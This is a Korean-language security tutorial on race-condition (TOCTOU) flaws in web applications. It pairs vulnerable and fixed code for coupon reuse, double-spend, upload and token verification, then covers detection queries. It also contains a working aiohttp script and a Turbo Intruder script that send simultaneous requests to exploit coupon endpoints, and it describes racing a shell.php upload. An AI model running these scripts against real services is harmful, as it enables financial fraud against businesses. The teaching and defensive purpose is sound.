기본 원리
레이스 컨디션(Race Condition)은 여러 프로세스나 스레드가 공유 자원에 동시에 접근할 때, 실행 순서에 따라 결과가 달라지는 취약점이다. 웹 환경에서는 여러 HTTP 요청이 거의 동시에 처리될 때 발생한다.
TOCTOU (Time-Of-Check to Time-Of-Use)
레이스 컨디션의 핵심 패턴이다. "확인하는 시점"과 "사용하는 시점" 사이에 상태가 바뀌는 것을 악용한다.
요청 A (공격자): 요청 B (공격자):
│ │
│ 1. 잔액 확인: 100원 ✓ │
│ │ 2. 잔액 확인: 100원 ✓
│ 3. 잔액 차감: 100원 │
│ │ 4. 잔액 차감: 100원 ← 이미 0원인데 차감!
│ 5. 상품 지급 │
│ │ 6. 상품 지급 ← 두 번째 지급!
웹 환경의 특수성
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ 요청 1 │ │ 요청 2 │ │ 요청 3 │
│ (공격 스레드)│ │ (공격 스레드)│ │ (공격 스레드)│
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘
│ │ │
└───────────────────┴───────────────────┘
│
┌──────▼───────┐
│ 웹 서버 │
│ (멀티스레드) │
└──────┬───────┘
│
┌──────▼───────┐
│ 데이터베이스 │
│ (공유 상태) │
└──────────────┘
HTTP/2를 사용하면 단일 TCP 연결로 여러 요청을 동시에 전송할 수 있다. 이를 이용하면 요청들이 서버에 거의 동시에 도달하게 되어 레이스 윈도우를 극대화할 수 있다.
시나리오 1: 쿠폰/할인코드 중복 사용
# ❌ 취약한 쿠폰 적용 코드 (Django)
def apply_coupon(request):
coupon_code = request.POST.get('coupon_code')
user = request.user
# 1. 쿠폰 유효성 확인
coupon = Coupon.objects.get(code=coupon_code)
if coupon.is_used: # ← Check
return error("이미 사용된 쿠폰")
if coupon.max_uses <= coupon.use_count:
return error("사용 횟수 초과")
# 2. 주문에 할인 적용
time.sleep(0.01) # DB 작업 시뮬레이션 (실제로는 DB 쿼리 등이 있음)
# 3. 쿠폰 사용 처리
coupon.use_count += 1 # ← Use
coupon.save()
apply_discount(user, coupon.discount_amount)
return success("쿠폰 적용 완료")
이 코드에서 여러 요청이 동시에 1번(Check)을 통과하면, 모두 is_used = False를 확인하고 진행하여 동일 쿠폰을 여러 번 사용할 수 있다.
# ✅ 안전한 구현 1: 데이터베이스 수준 잠금
from django.db import transaction
def apply_coupon(request):
coupon_code = request.POST.get('coupon_code')
user = request.user
with transaction.atomic():
# select_for_update()로 행 수준 잠금
coupon = Coupon.objects.select_for_update().get(code=coupon_code)
if coupon.use_count >= coupon.max_uses:
return error("사용 횟수 초과")
# 동시 요청이 여기서 대기
coupon.use_count = F('use_count') + 1 # 원자적 업데이트
coupon.save(update_fields=['use_count'])
apply_discount(user, coupon.discount_amount)
return success("쿠폰 적용 완료")
# ✅ 안전한 구현 2: 데이터베이스 유니크 제약
# 사용자-쿠폰 조합을 유니크로 강제
class CouponUsage(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
coupon = models.ForeignKey(Coupon, on_delete=models.CASCADE)
used_at = models.DateTimeField(auto_now_add=True)
class Meta:
unique_together = [['user', 'coupon']] # DB 레벨 중복 방지
def apply_coupon(request):
try:
# DB unique 제약으로 두 번째 시도는 IntegrityError 발생
CouponUsage.objects.create(
user=request.user,
coupon=coupon
)
except IntegrityError:
return error("이미 사용한 쿠폰")
apply_discount(request.user, coupon.discount_amount)
return success("쿠폰 적용 완료")
시나리오 2: 잔액 음수 (Double-Spend)
// ❌ 취약한 출금 API (Node.js/Express)
app.post('/api/withdraw', authenticate, async (req, res) => {
const { amount } = req.body;
const userId = req.user.id;
// 잔액 확인 (Check)
const user = await User.findById(userId);
if (user.balance < amount) {
return res.status(400).json({ error: '잔액 부족' });
}
// 잔액 차감 (Use) - 동시 요청 시 음수 가능
await User.findByIdAndUpdate(userId, {
$inc: { balance: -amount }
});
await processTransfer(userId, amount);
res.json({ success: true });
});
// ✅ 안전한 구현: 조건부 원자적 업데이트 (MongoDB)
app.post('/api/withdraw', authenticate, async (req, res) => {
const { amount } = req.body;
const userId = req.user.id;
// 잔액 >= amount 조건을 WHERE 절에 포함 → 원자적 실행
const result = await User.findOneAndUpdate(
{
_id: userId,
balance: { $gte: amount } // 잔액 충분한 경우만 업데이트
},
{
$inc: { balance: -amount }
},
{ new: true }
);
if (!result) {
return res.status(400).json({ error: '잔액 부족' });
}
await processTransfer(userId, amount);
res.json({ success: true, newBalance: result.balance });
});
-- PostgreSQL 원자적 잔액 차감
-- 잔액이 충분한 경우에만 업데이트, 그렇지 않으면 0행 업데이트
UPDATE accounts
SET balance = balance - $1
WHERE user_id = $2
AND balance >= $1
RETURNING balance;
-- 결과가 0행이면 잔액 부족 처리
시나리오 3: 파일 업로드 레이스 컨디션
# ❌ 취약한 파일 업로드 - 업로드 후 검증
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
# 먼저 저장
path = f"/uploads/{file.filename}"
file.save(path) # ← 저장됨 (악성 파일이라도)
# 그 다음 검증
if not is_safe(path): # ← 검증 전에 이미 웹 접근 가능
os.remove(path)
return error("허용되지 않는 파일")
return success(path)
# 공격: 업로드 직후 파일 실행 요청을 동시에 보냄
# 1. POST /upload (악성 PHP 파일)
# 2. GET /uploads/shell.php ← 동시에 전송
# 검증 전에 2번이 실행되면 코드 실행 성공
# ✅ 안전한 구현: 임시 경로에 저장 후 검증, 검증 통과 시 이동
import tempfile
import shutil
import uuid
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
# 1. 외부 접근 불가능한 임시 경로에 저장
tmp_path = f"/tmp/uploads/{uuid.uuid4()}"
file.save(tmp_path)
# 2. 안전성 검증
if not is_safe_file(tmp_path):
os.remove(tmp_path)
return error("허용되지 않는 파일")
# 3. 검증 통과 후 최종 경로로 이동 (원자적 rename)
final_path = f"/var/app/uploads/{uuid.uuid4()}_{secure_filename(file.filename)}"
shutil.move(tmp_path, final_path) # 원자적 이동
return success(final_path)
시나리오 4: 권한 우회 레이스 컨디션
# ❌ 취약: 권한 확인 → 작업 사이에 권한 변경 가능
@app.route('/api/delete-account', methods=['DELETE'])
def delete_account():
target_id = request.json['user_id']
requester = request.user
# 1. 권한 확인
if not requester.is_admin:
return error("권한 없음")
# 2. 긴 처리 시간 (비동기 작업 등)
time.sleep(2) # DB 작업, 이메일 전송 등
# 3. 작업 실행
# 만약 2초 사이에 requester의 admin 권한이 제거되었다면?
# → 이미 권한 확인을 통과했으므로 삭제 진행
delete_user(target_id)
return success()
공격 도구: Burp Suite Last-Byte Sync
PortSwigger의 연구(James Kettle, 2023)에서 소개된 HTTP/2 기반 레이스 컨디션 공격 기법이다.
전통적인 방법 (불정확):
요청 A: ─────────────────────────────────►
요청 B: ─────────────────────────►
↑ 네트워크 지연 차이
HTTP/2 Single-Packet Attack:
모든 요청의 마지막 바이트를 한 패킷에:
[REQ_A_HEADER][REQ_B_HEADER][REQ_A_BODY_...][REQ_B_BODY_...]
→ 마지막 바이트 [LAST_BYTE_A+LAST_BYTE_B] 동시 전송
→ 서버가 두 요청을 거의 동시에 처리 시작
# Python으로 레이스 컨디션 공격 구현
import asyncio
import aiohttp
import time
async def race_request(session, url, headers, data):
"""단일 요청"""
try:
async with session.post(url, headers=headers, json=data) as resp:
return await resp.json()
except Exception as e:
return {'error': str(e)}
async def race_attack(url, headers, data, num_requests=20):
"""동시 다중 요청으로 레이스 컨디션 유발"""
async with aiohttp.ClientSession() as session:
# 모든 요청을 거의 동시에 발송
tasks = [
race_request(session, url, headers, data)
for _ in range(num_requests)
]
# asyncio.gather로 동시 실행
results = await asyncio.gather(*tasks, return_exceptions=True)
return results
# 사용 예시: 쿠폰 중복 사용 테스트
async def test_coupon_race():
url = "https://target.com/api/apply-coupon"
headers = {"Authorization": "Bearer <TOKEN>", "Content-Type": "application/json"}
data = {"coupon_code": "DISCOUNT50", "order_id": "12345"}
print(f"Sending {20} simultaneous requests...")
start = time.time()
results = await race_attack(url, headers, data, num_requests=20)
elapsed = time.time() - start
successes = [r for r in results if isinstance(r, dict) and r.get('success')]
print(f"Completed in {elapsed:.2f}s")
print(f"Successful discount applications: {len(successes)}")
# 정상: 1개 성공
# 취약: 2개 이상 성공
asyncio.run(test_coupon_race())
# turbo intruder (Burp Suite 확장) 사용
# Python 스크립트로 HTTP/2 single-packet attack 수행
# turbo-intruder 스크립트 예시
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=20, # 한 연결로 20개 요청
pipeline=True
)
for i in range(20):
engine.queue(target.req, str(i))
def handleResponse(req, interesting):
if '200 OK' in req.response:
table.add(req)
시나리오 5: 이메일 인증 우회
# ❌ 취약: 이메일 인증 토큰 생성-검증 레이스
def verify_email_and_upgrade(user_id, token):
user = User.objects.get(id=user_id)
# 검증
if user.email_token != token:
return error("Invalid token")
if user.token_expires < timezone.now():
return error("Expired token")
# 시간 차이 발생 가능 지점
# 토큰 무효화 전에 동시 요청 처리 시
user.is_verified = True
user.email_token = None # ← 무효화
user.save() # ← 저장
return success()
# 공격: 같은 토큰으로 동시에 2개 요청
# 둘 다 검증 통과 → 둘 다 is_verified = True 처리
# (실제 영향은 제한적이지만 더 민감한 작업이라면 위험)
# ✅ 안전한 구현: 원자적 토큰 검증 및 무효화
from django.db import transaction
from django.db.models import F
def verify_email_and_upgrade(user_id, token):
with transaction.atomic():
# 토큰 매칭 + 만료 확인 + 무효화를 원자적으로 처리
updated = User.objects.filter(
id=user_id,
email_token=token,
token_expires__gt=timezone.now(),
is_verified=False # 이미 처리된 경우 제외
).update(
is_verified=True,
email_token=None, # 원자적으로 토큰 무효화
verified_at=timezone.now()
)
if updated == 0:
return error("Invalid or expired token")
return success()
방어 방법
1. 데이터베이스 수준 원자성 보장
-- PostgreSQL: FOR UPDATE + SKIP LOCKED 패턴
-- 동시 요청 시 하나만 처리, 나머지는 건너뜀
BEGIN;
SELECT id, balance
FROM accounts
WHERE user_id = $1
AND balance >= $2
FOR UPDATE SKIP LOCKED; -- 다른 트랜잭션이 잠근 행 건너뜀
-- 결과 없으면 → 잔액 부족 또는 다른 트랜잭션 처리 중
UPDATE accounts
SET balance = balance - $2
WHERE user_id = $1;
COMMIT;
# Django ORM - select_for_update 패턴
from django.db import transaction
from django.db.models import F
class WithdrawService:
@classmethod
def execute(cls, user_id: int, amount: Decimal) -> bool:
with transaction.atomic():
# NOWAIT: 다른 트랜잭션이 잠그고 있으면 즉시 예외 발생
try:
account = Account.objects.select_for_update(
nowait=True
).get(user_id=user_id)
except DatabaseError:
raise ConflictError("처리 중입니다. 잠시 후 재시도하세요.")
if account.balance < amount:
raise InsufficientFundsError()
Account.objects.filter(
user_id=user_id
).update(balance=F('balance') - amount)
return True
2. 낙관적 잠금(Optimistic Locking)
# 버전 번호를 이용한 낙관적 잠금
class Account(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
balance = models.DecimalField(max_digits=15, decimal_places=2)
version = models.IntegerField(default=0) # 버전 번호
def withdraw_optimistic(user_id, amount, max_retries=3):
for attempt in range(max_retries):
account = Account.objects.get(user_id=user_id)
if account.balance < amount:
raise InsufficientFundsError()
# 버전 번호 포함 조건: 다른 트랜잭션이 변경했으면 0행 업데이트
updated = Account.objects.filter(
user_id=user_id,
version=account.version # 읽었을 때의 버전과 동일해야 함
).update(
balance=F('balance') - amount,
version=F('version') + 1 # 버전 증가
)
if updated == 1:
return True # 성공
# 다른 트랜잭션이 먼저 변경 → 재시도
time.sleep(0.01 * (2 ** attempt)) # 지수 백오프
raise RetryExhaustedError("처리 실패. 잠시 후 재시도하세요.")
3. Redis 분산 잠금
# Redis를 이용한 분산 잠금 (Redlock 알고리즘)
import redis
import uuid
import time
class RedisLock:
def __init__(self, redis_client, key, ttl=5000):
self.redis = redis_client
self.key = f"lock:{key}"
self.ttl = ttl # 밀리초
self.value = str(uuid.uuid4())
def acquire(self) -> bool:
# SET NX EX: 키가 없을 때만 설정 (원자적)
result = self.redis.set(
self.key, self.value,
nx=True, # 존재하지 않을 때만
px=self.ttl # 밀리초 단위 TTL
)
return result is True
def release(self):
# Lua 스크립트로 원자적 확인+삭제
script = """
if redis.call('get', KEYS[1]) == ARGV[1] then
return redis.call('del', KEYS[1])
else
return 0
end
"""
self.redis.eval(script, 1, self.key, self.value)
def __enter__(self):
if not self.acquire():
raise LockAcquireError("리소스가 사용 중입니다.")
return self
def __exit__(self, *args):
self.release()
# 사용 예시
r = redis.Redis(host='redis', port=6379)
def apply_coupon(user_id, coupon_code):
lock_key = f"coupon:{coupon_code}:user:{user_id}"
with RedisLock(r, lock_key, ttl=5000):
# 이 블록은 동시에 하나만 실행됨
coupon = Coupon.objects.get(code=coupon_code)
if coupon.use_count >= coupon.max_uses:
raise CouponExhaustedError()
coupon.use_count += 1
coupon.save()
apply_discount(user_id, coupon.discount_amount)
4. 幂等性(Idempotency) 키 패턴
# 멱등성 키를 이용한 중복 요청 방지
# 클라이언트가 고유한 키를 제공, 동일 키로 재요청 시 동일 결과 반환
def process_payment(idempotency_key: str, user_id: int, amount: Decimal):
"""멱등성 키 기반 결제 처리"""
# Redis에서 이미 처리된 요청인지 확인
cache_key = f"idempotency:{idempotency_key}"
cached = redis.get(cache_key)
if cached:
# 이미 처리된 요청 → 캐시된 결과 반환
return json.loads(cached)
# 처리 시작을 표시 (처리 중 상태로 잠금)
lock = RedisLock(r, cache_key, ttl=30000)
try:
with lock:
# 다시 한번 확인 (lock 획득 사이에 다른 스레드가 처리했을 수 있음)
cached = redis.get(cache_key)
if cached:
return json.loads(cached)
# 실제 결제 처리
result = charge_card(user_id, amount)
# 결과 캐시 (24시간)
redis.setex(cache_key, 86400, json.dumps(result))
return result
except LockAcquireError:
return {"error": "처리 중입니다. 잠시 후 재시도하세요.", "retry": True}
탐지 방법
로그 기반 이상 탐지
# 동일 사용자의 중복 처리 탐지
import pandas as pd
from datetime import datetime, timedelta
def detect_race_condition_attempts(log_file):
"""로그에서 레이스 컨디션 시도 패턴 탐지"""
df = pd.read_json(log_file, lines=True)
# 동일 사용자, 동일 리소스에 대한 요청을 시간순 정렬
df['timestamp'] = pd.to_datetime(df['timestamp'])
df_sorted = df.sort_values(['user_id', 'resource_id', 'timestamp'])
suspicious = []
for (user_id, resource_id), group in df_sorted.groupby(['user_id', 'resource_id']):
# 1초 내 동일 리소스에 대한 중복 요청
timestamps = group['timestamp'].tolist()
for i in range(len(timestamps) - 1):
diff = (timestamps[i+1] - timestamps[i]).total_seconds()
if diff < 0.1: # 100ms 이내 중복 요청
suspicious.append({
'user_id': user_id,
'resource_id': resource_id,
'count': len(group),
'time_diff_ms': diff * 1000
})
break
return suspicious
# 탐지된 패턴 알림
alerts = detect_race_condition_attempts('/var/log/app/access.log')
for alert in alerts:
print(f"[ALERT] Possible race condition: user={alert['user_id']}, "
f"resource={alert['resource_id']}, "
f"requests={alert['count']}, diff={alert['time_diff_ms']:.1f}ms")
데이터 무결성 감사
-- 잔액 음수 탐지 (정기 쿼리)
SELECT user_id, balance, updated_at
FROM accounts
WHERE balance < 0
ORDER BY updated_at DESC;
-- 쿠폰 초과 사용 탐지
SELECT c.code, c.max_uses, COUNT(cu.id) as actual_uses
FROM coupons c
JOIN coupon_usages cu ON c.id = cu.coupon_id
GROUP BY c.id
HAVING COUNT(cu.id) > c.max_uses;
-- 동일 트랜잭션 중복 처리 탐지
SELECT user_id, idempotency_key, COUNT(*) as count
FROM transactions
WHERE created_at > NOW() - INTERVAL '1 day'
GROUP BY user_id, idempotency_key
HAVING COUNT(*) > 1;
참고 도구 및 자원
| 도구/자원 | 분류 | 설명 |
|---|---|---|
| Burp Suite Pro | 프록시/테스트 | Turbo Intruder 확장으로 HTTP/2 레이스 공격 |
| Turbo Intruder | Burp 확장 | HTTP/2 single-packet attack 구현 |
| aiohttp | Python 라이브러리 | 비동기 HTTP 요청으로 동시 공격 구현 |
| wrk / wrk2 | 부하 테스트 | HTTP 벤치마크 도구 (동시 요청 테스트) |
| Apache JMeter | 부하 테스트 | GUI 기반 동시 요청 테스트 |
| Locust | 부하 테스트 | Python 기반 분산 부하 테스트 |
| Redis | 분산 잠금 | Redlock 알고리즘 구현용 |
| PostgreSQL SKIP LOCKED | DB 패턴 | 큐 처리를 위한 안전한 잠금 패턴 |
| PortSwigger Research | 연구 자료 | "Smashing the state machine" (James Kettle) |
| OWASP Race Conditions | 가이드라인 | OWASP Race Condition 취약점 공식 문서 |
⚠️ 주의사항: 레이스 컨디션 공격은 실제 서비스에서 금전적 피해와 직결될 수 있어 법적 결과가 심각하다. 쿠폰 중복 사용, 포인트/잔액 조작, 무료 상품 취득 등은 서비스 약관 위반을 넘어 형사상 사기죄에 해당할 수 있다. 보안 테스트는 반드시 자신이 운영하거나 버그바운티 프로그램의 허가를 받은 시스템에서만 수행해야 하며, 테스트 환경에서는 실제 결제/이체가 발생하지 않도록 격리해야 한다. 취약점 발견 시에는 즉시 서비스 운영자에게 보고하고 악용하지 않는 것이 원칙이다.